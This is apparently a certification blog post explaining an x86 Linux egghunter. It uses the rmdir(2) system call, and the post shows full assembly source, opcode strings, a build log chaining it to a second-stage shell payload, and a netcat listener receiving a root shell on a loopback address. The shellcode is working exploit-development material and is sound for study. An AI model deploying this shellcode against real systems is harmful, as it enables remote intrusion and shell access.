tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x03: Egghunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

This exercise consisted in using the egghunter technique, which is rather useful when a shellcode is bigger than the available space. On those circumstances, an egg can be planted right before the second stage shellcode which when found by the hunter will be executed.

There is an interesting resource by skape which explains this concept quite well, as well as, various Linux implementations.

The one I came up with is based on his revisited access(2) system call with some differences. I’ve decided to instead use the rmdir(2) system call and to start on the very first page of the process virtual address space. Even though Linux reserves the first few pages for performance reasons and prevents a process of allocating them to avoid potential security issues related to NULL pointer dereferences on page zero, not starting the search at 0x10000 (see vm.mmap_min_addr) allows shaving off a few bytes.

The rmdir(2) system call will check if the provided address is valid. If for any reason the address can’t be accessed (unmapped, invalid permissions, etc), then EFAULT (-14) is returned, which the egghunter should check for robustness. In that case, the next page (PAGE_SIZE) is tried until addressable memory is found.

retrieving the error code
1
2
3
$ asm-errno EFAULT
14
0xfffffffffffffff2
rmdir(2) prototype
1
int rmdir(const char *pathname);
retrieving the system call number and size of page
1
2
3
4
5
$ asm-syscall rmdir
#define __NR_rmdir 40
0x28
$ getconf PAGE_SIZE
4096
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 40                 |
| ebx      | address to search  |
+----------+--------------------+

To avoid repeating the egg twice and save space, the non-executable egg is also calculated on the fly by incrementing its value.

String comparison is done with the scas family, which depending on the direction flag (DF) being set or not it automatically increments or decrements the pointer to the next character. To illustrate this, consider the following program where a string is printed to the screen character by character. This is using the fldz and fstenv instructions to get the absolute address of the string to print:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start

section .text
direction_print:
  pushad

  mov al, 0x4
  ; ssize_t write(int, const void *, size_t)
  mov bl, 0x1             ; fd
  lea ecx, [esp + 0x1c]   ; buf
  mov dl, 0x1             ; count
  int 0x80

  popad
  ret

_start:
  cld                     ; clear direction flag

  fldz                    ; retrieve the string address via fstenv
  jmp direction_pc

  ; the string is 4 bytes below of fdlz
  str: db "this is a string", 0xa

direction_loop:
  lodsb
  call direction_print
  loop direction_loop

  mov al, 0x1
  ; void exit(int)
  int 0x80

direction_pc:
  ; the FPU structure in memory contains the address of the last FPU
  ; instruction on byte 0xc (the previous 3 bytes are composed of the
  ; control, status and tag word)
  fstenv [esp - 0xc]
  pop ecx

  lea esi, [ecx + 0x4]    ; string is 4 bytes below
  push 0x11               ; string length
  pop ecx

  jmp direction_loop
1
2
3
4
5
6
$ asm-compile direction-off.asm
$ asm-opcodes direction-off
Shellcode size: 63
\x60\xb0\x04\xb3\x01\x8d\x4c\x24\x1c\xb2\x01\xcd\x80\x61\xc3\xfc\xd9\xee\xeb\x1d\x74\x68\x69\x73\x20\x69\x73\x20\x61\x20\x73\x74\x72\x69\x6e\x67\x0a\xac\xe8\xd5\xff\xff\xff\xe2\xf8\xb0\x01\xcd\x80\x9b\xd9\x74\x24\xf4\x59\x8d\x71\x04\x6a\x11\x59\xeb\xe6
$ ./direction-off
this is a string

Below, the direction flag (DF) is being set, resulting in the string being printed backwards as expected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ diff -u direction-off.asm direction-on.asm
--- direction-off.asm   2018-06-24 17:20:35.044465700 +0100
+++ direction-on.asm    2018-06-24 18:54:48.168812600 +0100
@@ -15,7 +15,7 @@
        ret

 _start:
-       cld                     ; clear direction flag
+       std                     ; set direction flag

        fldz                    ; retrieve the string address via fstenv
        jmp direction_pc
@@ -39,7 +39,7 @@
        fstenv [esp - 0xc]
        pop ecx

-       lea esi, [ecx + 0x4]    ; string is 4 bytes below
+       lea esi, [ecx + 0x4 + 0x11 - 1] ; string is 4 bytes below
        push 0x11               ; string length
        pop ecx
1
2
3
4
$ asm-compile direction-on.asm
$ ./direction-on

gnirts a si siht$

Given all of the above, the resulting egghunter shellcode is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
global _start

section .text
_start:
  cld                     ; clear direction flag for scasd
  xor ebx, ebx

egg_restart:
  push 0x28
  ; int rmdir(const char *)
  pop eax
  ; increment ebx to either align a page or check the next address
  inc ebx                 ; pathname
  int 0x80

  cmp al, 0xf2            ; check for a page fault on the lower bits only
  jnz egg_check           ; it's a valid page

  or bx, 0xfff            ; not an addressable page
  jmp egg_restart         ; check the next page (0xfff + 1 = PAGE_SIZE)

egg_check:
  mov eax, 0xcafebabd     ; add initial not static egg value
  inc eax                 ; increment the value to decrease the size
  mov edi, ebx            ; compare eax with edi
  scasd                   ; edi is incremented since the direction flag is zero
  jnz egg_restart         ; egg not found, try the next address

  jmp edi                 ; edi points to the shellcode to execute

To run the shellcode, like before, the configure command should be issued first, followed by make. The second stage payload can be specified by the STAGE2 variable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
$ cd 0x03-egghunter/
$ STAGE2=../0x02-reverse/reverse make
nasm  -f elf32 -o egghunter.o egghunter.asm
ld -N -zexecstack -o egghunter egghunter.o
08048060 <_start>:
 8048060:       fc                      cld
 8048061:       31 db                   xor    ebx,ebx

08048063 <egg_restart>:
 8048063:       6a 28                   push   0x28
 8048065:       58                      pop    eax
 8048066:       43                      inc    ebx
 8048067:       cd 80                   int    0x80
 8048069:       3c f2                   cmp    al,0xf2
 804806b:       75 07                   jne    8048074 <egg_check>
 804806d:       66 81 cb ff 0f          or     bx,0xfff
 8048072:       eb ef                   jmp    8048063 <egg_restart>

08048074 <egg_check>:
 8048074:       b8 bd ba fe ca          mov    eax,0xcafebabd
 8048079:       40                      inc    eax
 804807a:       89 df                   mov    edi,ebx
 804807c:       af                      scas   eax,DWORD PTR es:[edi]
 804807d:       75 e4                   jne    8048063 <egg_restart>
 804807f:       ff e7                   jmp    edi
Shellcode size: 33
\xfc\x31\xdb\x6a\x28\x58\x43\xcd\x80\x3c\xf2\x75\x07\x66\x81\xcb\xff\x0f\xeb\xef\xb8\xbd\xba\xfe\xca\x40\x89\xdf\xaf\x75\xe4\xff\xe7
cc -DSHELLCODE=`asm-opcodes egghunter` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
1
2
3
4
5
6
7
8
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1] (family 0, port 4242)
Connection from localhost 51918 received!
id
uid=0(root) gid=0(root) groups=0(root)
# ./shellcode
Egghunter length: 33
Second stage length: 70